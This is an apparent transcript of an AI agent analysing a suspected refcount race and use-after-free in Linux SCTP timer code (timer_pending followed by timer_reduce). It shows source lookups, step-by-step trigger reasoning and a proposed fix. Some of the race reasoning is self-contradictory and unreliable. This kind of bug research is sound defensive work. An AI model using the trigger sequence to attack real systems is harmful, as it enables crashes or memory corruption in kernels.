net/sctp/sm_sideeffect.c:425:		if (!mod_timer(&transport->proto_unreach_timer,
net/sctp/sm_sideeffect.c-426-				jiffies + (HZ/20)))
--
net/sctp/sm_sideeffect.c=447=void sctp_generate_reconf_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-460-		/* Try again later.  */
net/sctp/sm_sideeffect.c:461:		if (!mod_timer(&transport->reconf_timer, jiffies + (HZ / 20)))
net/sctp/sm_sideeffect.c-462-			sctp_transport_hold(transport);
--
net/sctp/sm_sideeffect.c=484=void sctp_generate_probe_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-497-		/* Try again later.  */
net/sctp/sm_sideeffect.c:498:		if (!mod_timer(&transport->probe_timer, jiffies + (HZ / 20)))
net/sctp/sm_sideeffect.c-499-			sctp_transport_hold(transport);
--
net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1551-			 * have already started a timer or not, which leads to BUG
net/sctp/sm_sideeffect.c:1552:			 * halts when we call add_timer. So here, instead of just starting
net/sctp/sm_sideeffect.c-1553-			 * a timer, if the timer is already started, and just mod
--
net/sctp/sm_sideeffect.c-1557-				sctp_association_hold(asoc);
net/sctp/sm_sideeffect.c:1558:			timer_reduce(timer, jiffies + timeout);
net/sctp/sm_sideeffect.c-1559-			break;
--
net/sctp/sm_sideeffect.c-1563-			timeout = asoc->timeouts[cmd->obj.to];
net/sctp/sm_sideeffect.c:1564:			if (!mod_timer(timer, jiffies + timeout))
net/sctp/sm_sideeffect.c-1565-				sctp_association_hold(asoc);
--
net/sctp/transport.c=170=void sctp_transport_reset_t3_rtx(struct sctp_transport *transport)
--
net/sctp/transport.c-180-	if (!timer_pending(&transport->T3_rtx_timer))
net/sctp/transport.c:181:		if (!mod_timer(&transport->T3_rtx_timer,
net/sctp/transport.c-182-			       jiffies + transport->rto))
--
net/sctp/transport.c=186=void sctp_transport_reset_hb_timer(struct sctp_transport *transport)
--
net/sctp/transport.c-191-	expires = jiffies + sctp_transport_timeout(transport);
net/sctp/transport.c:192:	if (!mod_timer(&transport->hb_timer,
net/sctp/transport.c-193-		       expires + get_random_u32_below(transport->rto)))
--
net/sctp/transport.c=197=void sctp_transport_reset_reconf_timer(struct sctp_transport *transport)
--
net/sctp/transport.c-199-	if (!timer_pending(&transport->reconf_timer))
net/sctp/transport.c:200:		if (!mod_timer(&transport->reconf_timer,
net/sctp/transport.c-201-			       jiffies + transport->rto))
--
net/sctp/transport.c=205=void sctp_transport_reset_probe_timer(struct sctp_transport *transport)
net/sctp/transport.c-206-{
net/sctp/transport.c:207:	if (!mod_timer(&transport->probe_timer,
net/sctp/transport.c-208-		       jiffies + transport->probe_interval))
--
net/sctp/transport.c=212=void sctp_transport_reset_raise_timer(struct sctp_transport *transport)
net/sctp/transport.c-213-{
net/sctp/transport.c:214:	if (!mod_timer(&transport->probe_timer,
net/sctp/transport.c-215-		       jiffies + transport->probe_interval * 30))
--
net/sctp/transport.c=827=void sctp_transport_immediate_rtx(struct sctp_transport *t)
--
net/sctp/transport.c-834-	if (!timer_pending(&t->T3_rtx_timer)) {
net/sctp/transport.c:835:		if (!mod_timer(&t->T3_rtx_timer, jiffies + t->rto))
net/sctp/transport.c-836-			sctp_transport_hold(t);
]

gemini-3.1-pro-preview

							input: 129740
							output: 34
							thoughts: 144
						

**My Thought Process Regarding `timer_reduce` in `sctp_cmd_interpreter`**

Okay, so I'm looking at this snippet from `sctp_cmd_interpreter`, and I see this logic:

```c
			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
```

My immediate thought is about the `timer_reduce` function. I notice that the code *first* checks `timer_pending(timer)` and *then* calls `timer_reduce`. This implies that the `timer_pending` check is intended to determine some state *before* the timer is potentially modified by `timer_reduce`.

However, a crucial question pops into my mind: does `timer_reduce` itself provide any information about the timer's previous state? Specifically, does it tell me whether the timer *was* pending *before* it was reduced? My initial assumption is that it doesn't, or at least, the current code doesn't seem to rely on it.

I then start questioning my own understanding. Could `timer_reduce` actually return a value indicating whether the timer was pending? My first guess is "no, it doesn't," but then I second-guess myself. Is it possible that it *does* return `1` if it was pending and `0` if it wasn't? Or is it the other way around? This ambiguity is concerning.

To resolve this, I realize the most direct path is to examine the definition of `timer_reduce`. I need to see its actual return value semantics to understand if the current code's reliance on a separate `timer_pending` call is either redundant or, more importantly, potentially incorrect if `timer_reduce` *does* provide this state information.

map[ContextFile:kernel/time/timer.c Name:timer_reduce]

map[SourceCode:1199:	/**
1200:	 * timer_reduce - Modify a timer's timeout if it would reduce the timeout
1201:	 * @timer:	The timer to be modified
1202:	 * @expires:	New absolute timeout in jiffies
1203:	 *
1204:	 * timer_reduce() is very similar to mod_timer(), except that it will only
1205:	 * modify an enqueued timer if that would reduce the expiration time. If
1206:	 * @timer is not enqueued it starts the timer.
1207:	 *
1208:	 * If @timer->function == NULL then the start operation is silently
1209:	 * discarded.
1210:	 *
1211:	 * Return:
1212:	 * * %0 - The timer was inactive and started or was in shutdown
1213:	 *	  state and the operation was discarded
1214:	 * * %1 - The timer was active and requeued to expire at @expires or
1215:	 *	  the timer was active and not modified because @expires
1216:	 *	  did not change the effective expiry time such that the
1217:	 *	  timer would expire earlier than already scheduled
1218:	 */
1219:	int timer_reduce(struct timer_list *timer, unsigned long expires)
1220:	{
1221:		return __mod_timer(timer, expires, MOD_TIMER_REDUCE);
1222:	}
 SourceFile:kernel/time/timer.c]

gemini-3.1-pro-preview

							input: 130320
							output: 41
							thoughts: 334
						

**My Thought Process Regarding `timer_reduce` and `sctp_association_hold` Interaction**

Okay, so I'm looking at this code, and the immediate thought is about how `timer_reduce` signals its status. I know that `timer_reduce` returns `1` if the timer it's operating on was pending, and `0` if it wasn't. That seems straightforward enough on its own.

However, when I examine its usage within `sctp_cmd_interpreter`, specifically this block:

```c
			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
```

A critical realization strikes me. The `timer_pending(timer)` check happens *before* the call to `timer_reduce(timer, jiffies + timeout)`. This order is crucial. If `timer_pending(timer)` evaluates to `false` (meaning the timer is not currently pending), the code proceeds to call `sctp_association_hold(asoc)`.

This is where I start to get concerned. What if, at the exact moment `timer_pending(timer)` returns `false`, the timer is *actually in the process of executing on another CPU*? My understanding is that when a timer is actively running, `timer_pending(timer)` might indeed return `false` because it's no longer in the pending queue, even though its callback is active. If that's the case, `sctp_association_hold(asoc)` would be called unnecessarily.

Then, `timer_reduce` is called. If the timer was indeed running on another CPU, `timer_reduce` would then attempt to enqueue it again. This seems problematic because the timer's callback on the other CPU would likely finish, calling `sctp_association_put(asoc)`, and then `timer_reduce` would enqueue it again, potentially leading to further complications. However, in this specific scenario, the initial `sctp_association_hold(asoc)` followed by the timer firing and calling `sctp_association_put(asoc)` *might* balance the reference count, so I'm not entirely sure it's a hard bug yet, but it feels like a potential race condition that needs closer examination.

Now, let's consider the *other* side of the coin. What if `timer_pending(timer)` returns `true`, indicating the timer is pending, but *before* `timer_reduce` gets a chance to execute, the timer fires and is subsequently dequeued by the timer subsystem? In this scenario, the `if (!timer_pending(timer))` condition would have been false, meaning `sctp_association_hold(asoc)` was *not* called. However, `timer_reduce` would still be called, and it would enqueue the timer again. This feels like a definite problem. We've missed the opportunity to hold the association because the timer fired just in time to make `timer_pending` true, but then it's re-enqueued without the association being held.

This specific edge case, where `timer_pending` is true but the timer is dequeued before `timer_reduce` can run, is what's really gnawing at me. I need to revisit the `sctp_cmd_interpreter` code, specifically around line 1551, to fully understand the surrounding logic and see if there are any other safeguards or behaviors that mitigate this potential issue.

map[File:net/sctp/sm_sideeffect.c FirstLine:1540 LineCount:40]

map[Contents:1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
1550:				 * timer starts as side effects, it can be hard to tell if we
1551:				 * have already started a timer or not, which leads to BUG
1552:				 * halts when we call add_timer. So here, instead of just starting
1553:				 * a timer, if the timer is already started, and just mod
1554:				 * the timer with the shorter of the two expiration times
1555:				 */
1556:				if (!timer_pending(timer))
1557:					sctp_association_hold(asoc);
1558:				timer_reduce(timer, jiffies + timeout);
1559:				break;
1560:	
1561:			case SCTP_CMD_TIMER_RESTART:
1562:				timer = &asoc->timers[cmd->obj.to];
1563:				timeout = asoc->timeouts[cmd->obj.to];
1564:				if (!mod_timer(timer, jiffies + timeout))
1565:					sctp_association_hold(asoc);
1566:				break;
1567:	
1568:			case SCTP_CMD_TIMER_STOP:
1569:				timer = &asoc->timers[cmd->obj.to];
1570:				if (timer_delete(timer))
1571:					sctp_association_put(asoc);
1572:				break;
1573:	
1574:			case SCTP_CMD_INIT_CHOOSE_TRANSPORT:
1575:				chunk = cmd->obj.chunk;
1576:				t = sctp_assoc_choose_alter_transport(asoc,
1577:							asoc->init_last_sent_to);
1578:				asoc->init_last_sent_to = t;
1579:				chunk->transport = t;
]

gemini-3.1-pro-preview

							input: 131317
							output: 41
							thoughts: 1393
						

**My Thoughts on the SCTP Timer Race**

I've been digging into this SCTP code, specifically around `SCTP_CMD_TIMER_START`, and I've found a potential race condition that seems to be leading to a use-after-free bug. Let me trace my thought process as I uncovered this.

It all started when I looked at this snippet:

```c
			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
```

My initial reaction was: "Okay, so if the timer isn't already pending, we hold a reference to the association. Then we reduce the timer, which effectively arms it or updates its timeout." This seems straightforward enough.

But then the gears started turning. What if a timer fires *just* after `timer_pending(timer)` returns `true` but *before* `timer_reduce` gets called? If that happens, the timer is no longer pending when `timer_reduce` is called. `timer_reduce` would then arm the timer anew because it's not pending. The critical issue here is that `sctp_association_hold(asoc)` would *not* have been called because `timer_pending` was true. This means the timer gets armed without a corresponding reference being held for the association. When the timer callback eventually fires, it will call `sctp_association_put(asoc)`, decrementing a reference count that was never incremented, leading to a premature drop to zero and a use-after-free.

My next thought was about concurrency. I remembered that `sctp_cmd_interpreter` is called with `bh_lock_sock(sk)` held. This is important because it implies a certain level of protection. So, I immediately wondered: "Does the timer callback also acquire `bh_lock_sock(sk)`?" A quick look at the code confirmed that, yes, `sctp_generate_timeout_event` (which is likely where the timer callback ends up) does indeed take `bh_lock_sock(sk)`.

```c
	bh_lock_sock(sk);
	if (sock_owned_by_user(sk)) {
		pr_debug("%s: sock is busy: timer %d\n", __func__,
			 timeout_type);

		/* Try again later.  */
		if (!mod_timer(&asoc->timers[timeout_type], jiffies + (HZ/20)))
			sctp_association_hold(asoc);
		goto out_unlock;
	}
```

This lock holding raised another question. If `sctp_cmd_interpreter` is running, it means the socket is locked. If it's running in process context, `sock_owned_by_user(sk)` will be true. If the timer fires concurrently, it will try to acquire `bh_lock_sock(sk)`. If it's running on another CPU, it will spin, waiting for `bh_lock_sock(sk)` to be released.

Ah, `bh_lock_sock` is a spinlock. So, the timer callback will spin until `sctp_cmd_interpreter` releases the lock. While it's spinning, the timer has already been dequeued from the timer wheel (that's why it's executing its callback). So, when `timer_pending(timer)` is checked *inside* the spinning timer callback, it will return `false` because the timer is no longer pending. This means `sctp_association_hold(asoc)` *will* be called in this scenario, and `timer_reduce` will re-arm the timer. It seems like this specific race – where the timer fires and is dequeued *before* `timer_reduce` is called but *after* `timer_pending` returned true – might be handled correctly by the spinlock.

But what if the timer is *just about to fire*? Let's reconsider the scenario where `timer_pending(timer)` returns `true`. This means the timer is still in the timer wheel. Since we hold `bh_lock_sock(sk)`, can the timer fire and be dequeued by another CPU *before* we get to `timer_reduce`? Yes, a timer interrupt could occur on another CPU, dequeue the timer, and start executing its callback. That callback would then spin on `bh_lock_sock(sk)`.

Now, here's the crux: `timer_pending(timer)` was evaluated *before* the timer was dequeued by the other CPU, so it returned `true`. Then, the timer *is* dequeued by that other CPU. After that, `timer_reduce` is called. `timer_reduce` internally calls `__mod_timer`. Crucially, `__mod_timer` does *not* wait for the timer callback to finish; only `del_timer_sync` does. `__mod_timer` will lock the timer base and enqueue the timer. If the timer is currently running on another CPU (and spinning), its base is still assigned, and `__mod_timer` will proceed to enqueue the timer *again*.

Since `timer_pending` returned `true` initially, `sctp_association_hold(asoc)` was *not* called. So, we've just enqueued the timer again without taking a reference. This is problematic.

However, there's another subtlety with `timer_reduce`. It returns `1` if the timer was pending, and `0` if it was not pending. If the timer was dequeued by the other CPU *before* `timer_reduce` managed to lock the timer base, `timer_reduce` will return `0`. But the original code in `SCTP_CMD_TIMER_START` completely ignores this return value!

```c
			if (!timer_pending(timer))
				sctp_association_hold(asoc);
			timer_reduce(timer, jiffies + timeout);
```

This is a classic race condition. If `timer_pending` returns `true`, but `timer_reduce` returns `0` (meaning it found the timer wasn't pending anymore when it tried to modify it), we have missed a `sctp_association_hold`. This is where the use-after-free originates.

My immediate thought then was: "Why isn't the code checking the return value of `timer_reduce`?" A simpler and safer approach would be:

```c
			if (!timer_reduce(timer, jiffies + timeout))
				sctp_association_hold(asoc);
```

This would perfectly handle the race. If `timer_reduce` successfully modifies a pending timer (returns 1), we don't need to hold. If `timer_reduce` fails to modify a pending timer because it was dequeued (returns 0), we *do* need to hold.

I then wondered about the historical context. Why would the author have written it this way? Perhaps before `timer_reduce` was introduced, they used `mod_timer` and `add_timer`? Or maybe they used `timer_pending` and `add_timer`? I should probably check the git history to understand the evolution of this code and the rationale behind this specific implementation.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/sm_sideeffect.c]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
]

gemini-3.1-pro-preview

							input: 132961
							output: 41
							thoughts: 18
						

**My Thought Process**

Right, so the first thing that comes to my mind when I see `SCTP_CMD_TIMER_START_ONCE` is to immediately delve into its mechanics. I need to understand precisely how this particular command operates, what its inputs are, and what its expected outputs or side effects might be. It’s about getting a solid grasp on the fundamental behavior of this timer-related function.

map[File:net/sctp/sm_sideeffect.c FirstLine:1530 LineCount:20]

map[Contents:1530:				break;
1531:	
1532:			case SCTP_CMD_SETUP_T2:
1533:				sctp_cmd_setup_t2(commands, asoc, cmd->obj.chunk);
1534:				break;
1535:	
1536:			case SCTP_CMD_TIMER_START_ONCE:
1537:				timer = &asoc->timers[cmd->obj.to];
1538:	
1539:				if (timer_pending(timer))
1540:					break;
1541:				fallthrough;
1542:	
1543:			case SCTP_CMD_TIMER_START:
1544:				timer = &asoc->timers[cmd->obj.to];
1545:				timeout = asoc->timeouts[cmd->obj.to];
1546:				BUG_ON(!timeout);
1547:	
1548:				/*
1549:				 * SCTP has a hard time with timer starts.  Because we process
]

gemini-3.1-pro-preview

							input: 133293
							output: 35
							thoughts: 1519
						

**Understanding the SCTP Timer Race Condition and Its Resolution**

My thought process today has been entirely consumed by dissecting a rather insidious race condition within the SCTP implementation, specifically concerning timer management. It's a classic scenario where the timing of events between different threads, or even different CPUs, can lead to critical errors if not handled with extreme care.

It all started with me examining the `SCTP_CMD_TIMER_START_ONCE` command. I noticed its behavior: it first checks `timer_pending(timer)`. If this check returns true, meaning the timer is already active, the command simply breaks, doing nothing further. This prevents attempting to start an already running timer. If `timer_pending` returns false, it falls through to `SCTP_CMD_TIMER_START`. My initial thought was, "Okay, so if it falls through, `timer_pending` will be checked again in `SCTP_CMD_TIMER_START`, and it will *still* be false, so it will then proceed to hold the association and start the timer." This seemed safe enough, as the association would be held before the timer is initiated.

However, I quickly realized that `SCTP_CMD_TIMER_START_ONCE` itself exhibits the same potential race condition. If `timer_pending(timer)` is false upon entry, it falls through. Then, if `timer_pending(timer)` is *still* false when the logic within `SCTP_CMD_TIMER_START` is executed (which it would be in this fallthrough scenario), it holds the association and then calls `timer_reduce`. My reasoning here was: if `timer_pending` is false at that point, it's safe because we'll hold the association and then start the timer. The true danger, I concluded, lies when `timer_pending` is actually *true* initially.

If `timer_pending(timer)` is true when `SCTP_CMD_TIMER_START_ONCE` is invoked, it breaks. Crucially, it *does not* start the timer. Now, here's the critical part of the race: what if the timer fires *immediately* after `timer_pending` returns true, but before the `SCTP_CMD_TIMER_START_ONCE` command has completed its check and decided not to start the timer? In this sequence, the timer is no longer pending because its callback has been scheduled (or is even executing). But, we didn't start it. I initially thought this might be okay because the timer callback would run and perform its intended actions.

But then I turned my attention to `SCTP_CMD_TIMER_START`. This is where the real problem lies. If, in `SCTP_CMD_TIMER_START`, `timer_pending(timer)` returns true, it *does not* hold the association. Instead, it proceeds to call `timer_reduce`. Now, imagine the same scenario: the timer fires right after `timer_pending` returns true. Because the timer callback has been dequeued, `timer_pending` would effectively be false by the time `timer_reduce` is called. `timer_reduce` will then proceed to start the timer again, believing it's not pending. The critical flaw here is that we *didn't hold the association* because `timer_pending` was initially true. This means the timer is being started without a valid reference to the association. When this newly started timer eventually fires, it will attempt to hold the association, but since the refcount is already in an inconsistent state, this will lead to a refcount underflow.

This, I am now convinced, is the exact bug. The fix, in my mind, is straightforward and involves utilizing the return value of `timer_reduce`. The proposed change:

```c
			case SCTP_CMD_TIMER_START:
				timer = &asoc->timers[cmd->obj.to];
				timeout = asoc->timeouts[cmd->obj.to];
				BUG_ON(!timeout);

				if (!timer_reduce(timer, jiffies + timeout))
					sctp_association_hold(asoc);
				break;
```

Let's trace this proposed fix. If `timer_reduce` returns 1 (indicating the timer was pending and was modified or left alone), we correctly *don't* hold the association. This is because the timer itself already implicitly holds a reference to the association through its pending state. Conversely, if `timer_reduce` returns 0 (indicating the timer was not pending and was newly started), we *do* hold the association. This is also correct because we've just initiated a new timer, and it's prudent to ensure the association remains valid. This approach elegantly resolves the race condition by ensuring the association is held precisely when a new timer is started from a non-pending state.

Now, I had to consider how this fix impacts `SCTP_CMD_TIMER_START_ONCE`. If we apply the fix to `SCTP_CMD_TIMER_START`, the `SCTP_CMD_TIMER_START_ONCE` command, in its fallthrough case, will also end up calling `timer_reduce`. If the timer was not pending (as checked by `timer_pending` earlier), `timer_reduce` will return 0, and we will correctly hold the association. What if the timer *became* pending between the initial `timer_pending` check and the call to `timer_reduce`? This is unlikely given the socket lock, but if it did, `timer_reduce` would return 1, and we wouldn't hold the association, which is also correct. The critical realization is that if the timer fired between the `timer_pending` check and `timer_reduce`, it's no longer pending. So `timer_reduce` will return 0, and we'll hold the association. This seems to be correct behavior in all scenarios.

My next step was to confirm if `timer_reduce` is indeed the right tool for the job. The comment for `timer_reduce` states it's intended to "mod the timer with the shorter of the two expiration times." This is exactly what we need when dealing with potentially overlapping timer start requests. It's not about simply extending or resetting; it's about ensuring a timer is active with the most immediate expiration. So, `timer_reduce` seems perfectly suited.

Finally, I reviewed `SCTP_CMD_TIMER_RESTART`. I noticed that this command already correctly uses the return value of `mod_timer` to decide whether to hold the association. This command, therefore, appears to be robust.

Thus, the core issue is isolated to `SCTP_CMD_TIMER_START`. To concretely trigger this bug, one needs to orchestrate a specific sequence of events:

1.  **Thread A** is executing within `sctp_cmd_interpreter`, processing `SCTP_CMD_TIMER_START` for a particular timer.
2.  At this moment, **Thread A** evaluates `timer_pending(timer)` and it returns `true`.
3.  However, concurrently, the timer associated with this request fires on **CPU B**. The timer's callback is dequeued.
4.  **CPU B**, attempting to execute the timer callback, tries to acquire the socket lock. Since **Thread A** is still holding it, **CPU B** spins, waiting.
5.  **Thread A**, unaware that the timer has already fired and been dequeued, proceeds to call `timer_reduce(timer, ...)`. Because the timer is no longer truly pending (it was dequeued by CPU B), `timer_reduce` starts the timer *again*.
6.  **Thread A** completes its operation and releases the socket lock.
7.  **CPU B** can now acquire the socket lock, execute the timer callback, and attempt to hold the association.
8.  The association refcount is manipulated.
9.  Crucially, the timer that was *restarted* in step 5 is still scheduled to fire. When it fires again, it will attempt to hold the association *again*.
10. This second attempt to hold the association, when the refcount is already in an inconsistent state due to the earlier race, leads to the refcount underflow.
11. Later, when the association is eventually freed or another timer tries to manage its lifetime, the refcount bug manifests.

The challenge then becomes identifying which timers are generated using `SCTP_CMD_TIMER_START` to create a situation that can expose this race condition. My current focus is on tracing the origins of `SCTP_CMD_TIMER_START` calls.

map[Expression:SCTP_CMD_TIMER_START PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=1275=static int sctp_cmd_interpreter(enum sctp_event_type event_type,
--
net/sctp/sm_sideeffect.c-1535-
net/sctp/sm_sideeffect.c:1536:		case SCTP_CMD_TIMER_START_ONCE:
net/sctp/sm_sideeffect.c-1537-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_sideeffect.c-1542-
net/sctp/sm_sideeffect.c:1543:		case SCTP_CMD_TIMER_START:
net/sctp/sm_sideeffect.c-1544-			timer = &asoc->timers[cmd->obj.to];
--
net/sctp/sm_statefuns.c=521=enum sctp_disposition sctp_sf_do_5_1C_ack(struct net *net,
--
net/sctp/sm_statefuns.c-622-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
net/sctp/sm_statefuns.c:623:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-624-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_COOKIE));
--
net/sctp/sm_statefuns.c=703=enum sctp_disposition sctp_sf_do_5_1D_ce(struct net *net,
--
net/sctp/sm_statefuns.c-883-	if (new_asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:884:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-885-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=938=enum sctp_disposition sctp_sf_do_5_1E_ca(struct net *net,
--
net/sctp/sm_statefuns.c-984-	if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
net/sctp/sm_statefuns.c:985:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 136401
							output: 41
							thoughts: 504
						

**My Thought Process on the SCTP Timer Bug**

Okay, so I'm trying to get to the bottom of this SCTP timer bug, and it all hinges on understanding which timer is actually being involved. My initial mental model, based on my general knowledge of SCTP timers, was that `SCTP_CMD_TIMER_START` is the command we're looking at, and it's used for a bunch of different timers: `T1_COOKIE`, `AUTOCLOSE`, `T1_INIT`, `T4_RTO`, and `T2_SHUTDOWN`. This is my baseline understanding.

Then I'm presented with this bug report, specifically pointing to `sctp_generate_timeout_event` in `net/sctp/sm_sideeffect.c`. This is clearly the timer callback, the place where things are *happening* when a timer expires. The crucial question then becomes: which specific timer is it? The `timeout_type` argument passed to this function is the key piece of information I need to identify the culprit.

Now, looking at how this bug is being reproduced, the syzbot reproducer is using `setsockopt` with `SCTP_SOCKOPT_BINDX_REM` and `SCTP_SOCKOPT_BINDX_ADD`. This is a significant clue! My internal knowledge flags `SCTP_SOCKOPT_BINDX_ADD` and `REM` as operations that trigger ASCONF chunks. And ASCONF chunks, in my experience with SCTP state machine transitions, are tightly coupled with the `T4_RTO` timer.

So, my next step is to dive into the SCTP state machine code to confirm this connection. I'm looking for the function that handles ASCONF chunks, and I find `sctp_sf_do_prm_asconf`. As I examine its code, I see it explicitly adds commands:

```c
	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
```
This is it! This code directly confirms that when `setsockopt(SCTP_SOCKOPT_BINDX_ADD)` is called, it results in an ASCONF chunk being sent, which in turn triggers `sctp_sf_do_prm_asconf`, and crucially, this function starts the `T4_RTO` timer.

My next thought is about concurrency. If I can trigger `sctp_sf_do_prm_asconf` multiple times, and it starts the `T4_RTO` timer each time, maybe that's the source of the problem. The reproducer uses concurrent `setsockopt` calls from multiple threads. So, the question becomes: could these concurrent `setsockopt` calls lead to concurrent calls to `sctp_sf_do_prm_asconf`?

However, I immediately recall a fundamental aspect of socket operations: `setsockopt` acquires the socket lock. This means that calls to `setsockopt`, even from multiple threads, will be serialized. They can't execute truly in parallel.

This brings me back to the flow. If `setsockopt` is serialized, then `sctp_sf_do_prm_asconf` itself, being called from `sctp_do_sm` which is called from `sctp_send_asconf`, should also be serialized. So, a simple concurrent execution of `setsockopt` leading to multiple concurrent calls to `sctp_sf_do_prm_asconf` seems less likely as the direct cause of a race condition. My focus then shifts to a deeper analysis of how `sctp_send_asconf` and its interactions with the state machine might be the actual trigger for the race, even with the serialization of `setsockopt`. I need to examine `sctp_send_asconf` more closely.

map[ContextFile:net/sctp/socket.c Name:sctp_send_asconf]

map[SourceCode: 459:	 /* ADDIP Section 4.1.1 Congestion Control of ASCONF Chunks
 460:	 *
 461:	 * R1) One and only one ASCONF Chunk MAY be in transit and unacknowledged
 462:	 * at any one time.  If a sender, after sending an ASCONF chunk, decides
 463:	 * it needs to transfer another ASCONF Chunk, it MUST wait until the
 464:	 * ASCONF-ACK Chunk returns from the previous ASCONF Chunk before sending a
 465:	 * subsequent ASCONF. Note this restriction binds each side, so at any
 466:	 * time two ASCONF may be in-transit on any given association (one sent
 467:	 * from each endpoint).
 468:	 */
 469:	static int sctp_send_asconf(struct sctp_association *asoc,
 470:				    struct sctp_chunk *chunk)
 471:	{
 472:		int retval = 0;
 473:	
 474:		/* If there is an outstanding ASCONF chunk, queue it for later
 475:		 * transmission.
 476:		 */
 477:		if (asoc->addip_last_asconf) {
 478:			list_add_tail(&chunk->list, &asoc->addip_chunk_list);
 479:			goto out;
 480:		}
 481:	
 482:		/* Hold the chunk until an ASCONF_ACK is received. */
 483:		sctp_chunk_hold(chunk);
 484:		retval = sctp_primitive_ASCONF(asoc->base.net, asoc, chunk);
 485:		if (retval)
 486:			sctp_chunk_free(chunk);
 487:		else
 488:			asoc->addip_last_asconf = chunk;
 489:	
 490:	out:
 491:		return retval;
 492:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 137498
							output: 49
							thoughts: 412
						

**My Thought Process Regarding SCTP ASCONF Handling and Timeouts**

So, I've been digging into how SCTP handles `ASCONF` messages and the associated timeouts, and it's a bit more nuanced than I initially thought. My understanding is that `sctp_send_asconf` is designed to send only *one* `ASCONF` message at a time. If there's already an outstanding `ASCONF` being processed, the new one gets queued up. This queuing happens within the `addip_chunk_list`. The system then waits for an `ASCONF_ACK` to be received before it proceeds to send the next queued `ASCONF`.

Now, here's where it gets interesting. My realization is that if an `ASCONF` message is queued, it *doesn't* immediately start its associated timer. The timer is actually initiated when `sctp_primitive_ASCONF` is called. This, in turn, triggers a call to `sctp_do_sm` with specific event and primitive types, ultimately mapping to `sctp_sf_do_prm_asconf`. It's at this point that the `T4_RTO` timer is set in motion.

The next question on my mind is: when does this `T4_RTO` timer actually expire? When it does fire, it triggers `sctp_generate_t4_rto_event`, which then calls `sctp_generate_timeout_event`, passing the association and the `SCTP_EVENT_TIMEOUT_T4_RTO` event. The critical part here is that this operation acquires the socket lock.

